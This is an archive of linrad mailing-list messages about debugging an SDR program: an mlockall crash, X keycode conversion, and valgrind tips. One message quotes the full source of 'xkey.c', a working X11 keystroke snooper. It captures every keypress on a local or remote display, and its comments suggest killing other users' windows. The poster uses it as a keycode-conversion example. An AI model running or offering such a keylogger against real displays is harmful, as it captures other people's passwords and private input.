[linrad] Re: Linrad 02.05 part II, svgalib version.
I do not undertand why this happens, because I chose N to the question:
use mlockall to prevent swapping ? (Y/N) - N
This is a trivial bug. There should have been a test if(ui.memloc==0)
Ok. The xz() function has been a very efective way of finding where the
crash occured. Thanks for the tip!
In 02.06 and later renamed to if(ui.no_memlock == FALSE)
I have started to use TRUE/FALSE for variables used as boolean variables
and sometimes the variable name has to change to reflect whether
a 0 or a 1 matches what the name suggests. (I do not want to change
parameter values)
Understood.
Early like this the mlocall call seldomly fails, that is why I never
detected it. As a temporary solution, just remove the line lir_lock_mem();
Yes, mlockall fails with consistence here within linrad, but if I do
this simple program never fails here.
#include sys/mman.h
#include stdio.h
void main(void){
int i;
i=mlockall(MCL_CURRENT);
printf(returned value is %d \n,i);
}
It always return a 0 value and never crashes
Who knows!! :-)
73, Ramiro.
There will be a greatly improved Lir-02.06 tomorrow:-)
We will wait for the new version
Thank you very much!!!
#
This message is sent to you because you are subscribed to
the mailing list linrad@antennspecialisten.se.
To unsubscribe, E-mail to: [EMAIL PROTECTED]
To switch to the DIGEST mode, E-mail to [EMAIL PROTECTED]
To switch to the INDEX mode, E-mail to [EMAIL PROTECTED]
Send administrative queries to [EMAIL PROTECTED]
[linrad] xlinrad 02.05 : conversion of x keycodes to ascii
Hi Leif,
In case xlinrad 02.06 is not yet out, could you have a look at the conversion
logic of the X keycodes to ASCII codes?
In xlinrad 02.05 I had problems with the U option in the main menu:
After I got the screen with the overview of all possible audio devices to
select from, I was not able to enter the number of the selected audio device
and had to quit xlinrad.
After some tracing it turned out that the X keycodes from the numerical keypad
were not correctly converted to the corresponding ascii value.
After a very rough patch in the conversion-routine in xmain.c , everything
was running fine.
I include the code I found on the internet for 'xkey.c' that is doing a
similar conversion job (but much in a much more elegant way than my
patches) :
**
/* To compile, run it through your favorite ansi compiler something like
* this :
*
* gcc -o xkey xkey.c -L/usr/X11R6/lib -lX11 -lm
*
* To run it, just use it like this : xkey displayname:0
* and watch as that display's keypresses show up in your shell window.
*
*Dominic Giampaolo ([EMAIL PROTECTED])
*/
#include stdio.h
#include X11/X.h
#include X11/Xlib.h
#include X11/Intrinsic.h
#include X11/StringDefs.h
#include X11/Xutil.h
#include X11/Shell.h
char *TranslateKeyCode(XEvent *ev);
Display *d;
void snoop_all_windows(Window root, unsigned long type)
{
static int level = 0;
Window parent, *children, *child2;
unsigned int nchildren;
int stat, i,j,k;
level++;
stat = XQueryTree(d, root, root, parent, children, nchildren);
if (stat == FALSE)
{
fprintf(stderr, Can't query window tree...\n);
return;
}
if (nchildren == 0)
return;
/* For a more drastic inidication of the problem being exploited
* here, you can change these calls to XSelectInput() to something
* like XClearWindow(d, children[i]) or if you want to be real
* nasty, do XKillWindow(d, children[i]). Of course if you do that,
* then you'll want to remove the loop in main().
*
* The whole point of this exercise being that I shouldn't be
* allowed to manipulate resources which do not belong to me.
*/
XSelectInput(d, root, type);
for(i=0; i nchildren; i++)
{
XSelectInput(d, children[i], type);
snoop_all_windows(children[i], type);
}
XFree((char *)children);
}
int main(int argc, char **argv)
{
char *hostname;
char *string;
XEvent xev;
int count = 0;
if (argv[1] == NULL)
hostname = :0;
else
hostname = argv[1];
d = XOpenDisplay(hostname);
if (d == NULL)
{
fprintf(stderr, Blah, can't open display: %s\n, hostname);
return(10);
}
snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
while(1)
{
XNextEvent(d, xev);
string = TranslateKeyCode(xev);
if (string == NULL)
continue;
if (*string == '\r')
printf(\n);
else if (strlen(string) == 1)
printf(%s, string);
else
printf(%s, string);
fflush(stdout);
}
}
#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];
char *TranslateKeyCode(XEvent *ev)
{
int count;
char *tmp;
KeySym ks;
if (ev)
{
count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE,
ks,NULL);
key_buff[count] = '\0';
if (count == 0)
{
tmp = XKeysymToString(ks);
if (tmp)
strcpy(key_buff, tmp);
else
strcpy(key_buff, );
}
return key_buff;
}
else
return NULL;
}
***
Thanks and best 73,
Pierre /ON5GN
#
This message is sent to you because you are subscribed to
the mailing list linrad@antennspecialisten.se.
To unsubscribe, E-mail to: [EMAIL PROTECTED]
To switch to the DIGEST mode, E-mail to [EMAIL PROTECTED]
To switch to the INDEX mode, E-mail to [EMAIL PROTECTED]
Send administrative queries to [EMAIL PROTECTED]
[linrad] Re: xlinrad 02.05. Problem solved(?)
The first one cannot know whether or not a separate thread using a
pointer or the variable has initialized the contents. In the second,
typically the construct inside the
if (A ==0) {
}
braces, requires that A be initialized to zero and that some action
required by the inside of braces area has been accomplished. Otherwise,
there would be no need for the if test. This is typically why the
second fails and the first does not. If A is an unsigned integer
quantity, it does not matter that B is unitialized. The operation is
legal even if the contents are not. These kinds of assignments
typically succeed except in the case of floating point where a floating
point exception is thrown (if you are lucky!).
gdb and valgrind are tools that aid (as you can see) but they cannot
tease apart all of the logical ways things can happen. If I may, they
are not mind readers, they are the assistant in the audience aiding the
mentalist by picking the unsuspecting customer's pocket for
information! With that attitude, you will find a way to properly use
valgrind or gdb to eventually come to arrive at the error by logical
inference and deduction. I wish I could give a more satisfying answer
but you can see why it is not possible for valgrind or gdb to understand
all of the ways these things can happen.
The best case you can hope for is an explosion where valgrind gives you
the line of interest and you back it up logically to the nexus of the
problem.
73's
Bob
[EMAIL PROTECTED] wrote:
Hi Bob,
You will probably need to turn on the debug symbol generation and turn
off optimizations and then you will be able to follow the progress. You
do not care that it is slow here, you are attempting to find logic and
other errors.
OK. The problem is to know all the details
gcc -g -O0 will turn off optimizations, insert debug symbols and you
can then debug with gdb or valgrind.
Hmmm, so far gdb is black magic to me, but valgrind gives
info I can understand:-)
I tried several times (various things) until I discovered I have to
put -g in the compiler stage and not the linker stage;-)
Another thing was that I had to remove -s from the linker options
Now it works!
Is there a way to get an error message when an uninited variable
is used ? Things like this:
(B not initialised)
A=B;
.
.
.
.
if(A==0)whatever();
I get an error message from the last line but not from the first one
which may be very far away in the code an have inherited its non-init
status through a long chain through several intermediate variables.
73
Leif
--
AMSAT VP Engineering. Member: ARRL, AMSAT-DL, TAPR, Packrats,
NJQRP/AMQRP, QRP ARCI, QCWA, FRC. ARRL SDR Wrk Grp Chairman
Laziness is the number one inspiration for ingenuity. Guilty as charged!
#
This message is sent to you because you are subscribed to
the mailing list linrad@antennspecialisten.se.
To unsubscribe, E-mail to: [EMAIL PROTECTED]
To switch to the DIGEST mode, E-mail to [EMAIL PROTECTED]
To switch to the INDEX mode, E-mail to [EMAIL PROTECTED]
Send administrative queries to [EMAIL PROTECTED]
[linrad] Re: xlinrad 02.05. Problem solved(?)
Robert McGwier wrote: Unfortunately, I do not believe valgrind is available under windows and it would be very difficult to make valgrind work because of the myriad differences between process/threads on windows and on all real operating systems. ;-). Under Windows there are tools specific to the compiler used. As an example, if you use the C++ compiler from Borland, it comes with CodeGuard, a powerful tool for detecting resource leaks, out-of-bounds accesses, uninitialized variables, and a plethora of all the other sins that a programmer normally commits... :-) 73 Alberto I2PHD # This message is sent to you because you are subscribed to the mailing list linrad@antennspecialisten.se. To unsubscribe, E-mail to: [EMAIL PROTECTED] To switch to the DIGEST mode, E-mail to [EMAIL PROTECTED] To switch to the INDEX mode, E-mail to [EMAIL PROTECTED] Send administrative queries to [EMAIL PROTECTED]
